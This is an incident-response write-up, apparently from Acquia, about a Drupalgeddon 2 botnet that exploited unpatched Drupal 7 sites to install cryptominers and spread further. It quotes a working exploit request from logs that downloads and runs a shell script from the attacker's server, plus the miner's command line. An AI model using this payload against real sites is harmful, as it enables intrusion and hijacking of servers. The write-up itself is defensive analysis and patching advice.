On the 28th of March 2018 the Drupal Security Team announced SA-CORE-2018-002, a serious Remote Code Execution vulnerability, which came to be known by many as "Drupalgeddon 2".
The patches to Drupal core were quite simple and Acquia implemented a platform-level mitigation within a few hours of the announcement. However, it was not trivial to reverse engineer the actual exploit(s), and it took a couple of weeks for credible Proof of Concept exploits to be published. Of course, once they were, exploit attempts were seen in the wild shortly after.
Approximately one month after the initial announcement, Acquia's Incident Response (IR) team began to see evidence of an attempt to exploit the vulnerability apparently coordinated from a single IP address belonging to a fairly well know French "cloud computing company". The real server IP has been changed in this write-up.
From the Drupal site logs, the attack followed a familiar pattern:
POST /?q=user/password&name[%23post_render]=passthru&name[%23markup]=wget%20-O%20/tmp/a.sh%20http://22.214.171.124/a.sh;%20sh%20/tmp/a.sh&name[%23type]=markup HTTP/1.1" 200 25631 "-" "Python-urllib/2.7"
The attacker had apparently decided to focus on exploiting vulnerable installations of Drupal 7, despite the fact that the problem affected both older and newer versions. Exploiting D7 is two-step process requiring a pair of requests.
If successful, the attack would first download a shell script from the Command and Control (C&C) server and save this to the system /tmp directory and then attempt to execute it.
Acquia’s IR Team analyzed the script, to help determine what would happen if the attacker’s Remote Code Execution was successful.
The shell script finds a suitable writable directory to use, makes requests back to the C&C host, downloads a python script and then downloads the lukminer cryptocurrency mining software. The mining software executes with an option to export any results back to the C&C server's IP address:
lukMiner execution arguments ./luk-cpu -a xmr-v7 --host 126.96.36.199 --port 443 --user luk --pass x --no-fail-on-malloc > /dev/null&
The python script is then executed; this script obtains a list of URLs from the C&C server. The script puts these URLs in a queue, iterating over them to determine if the URL represents a Drupal site. If it does, the script then tries to run the D7 two-step exploit against the identified site, in an attempt to propagate itself and recruit more vulnerable servers to the unauthorized crypto mining pool.
The worm-like self-propagation of this malware was interesting. However, it seemed to use a fairly primitive centralized Command and Control model, with a single IP4 address sitting at the center. That same IP also seemed to host the mining pool which the lukminer binary would make connections back to. This was not exactly subtle and it was trivial to trace the malicious activity back to the source.
Thanks to Acquia’s platform-level mitigation, there were no reports of our sites being infected. However, we did observe millions of attacks, originating from thousands of other sites, related to this botnet. This indicates that the attacker's campaign had been quite successful and these infected sites were attempting to further propagate the malware.
At its peak, around mid-May 2018, Acquia identified over 1.3 million of these attacks to over 5000 target sites in a single day. These requests originated from nearly 2000 different IP addresses, spread all across the globe. Indicating that the attacker may have had over 2000 web servers mining cryptocurrency and attempting to further spread the malware. We assume that these infected servers were hosting vulnerable Drupal 7 sites when the initial attack hit each of them.
Botnet attack source distribution
A conservative estimate of the current profitability of crypto-mining suggests that the attacker may have generated between 50 cents and $1 USD per day on a server with a modern CPU. Therefore, this botnet of infected web servers may have generated over a thousand dollars per day for the attacker at its peak.
When our monitoring systems alerted us to this activity, we performed our analysis and contacted the host of the C&C server to shut the malicious server down. After receiving no response to our emails, we followed up with messages on Twitter. After a long time we were disappointed to receive only a generic response from the provider. The C&C server was still up and running nearly three weeks after our initial abuse report. Acquia was still seeing around 100k attacks per day from the botnet of infected servers during this time.
Eventually the C&C server was shut down. The previously infected servers still carried on sending out exploit attempts, but these requests dwindled away into low-level "Internet Background Radiation".
This botnet analysis is a reminder of the importance of having a good patch management process, especially when using a popular CMS such as Drupal.
There are many advantages to using such a CMS; as a result they have become very popular and widely utilized around the globe. This popularity is the reason why threat actors will devote their efforts to developing exploits targeting them. If they can develop (or copy) a working exploit, they know they will have a large number of potential victim sites running the vulnerable CMS.
The number of unpatched Drupal sites, weeks after the patch had been released, allowed this botnet to grow at an exponential rate. Critical security updates, such as this one, should be tracked and installed with utmost priority.
Written by Drew Webber, Senior Security Analyst, and Andy Sutcliffe, Manager of Incident Response at Acquia.
On the 28th of March 2018 the Drupal Security Team announced SA-CORE-2018-002, a serious Remote Code Execution vulnerability, which came to be known by many as "Drupalgeddon 2". Here's what we learned defending against it.Acquia Developer Center October 2, 2018 February 6, 2019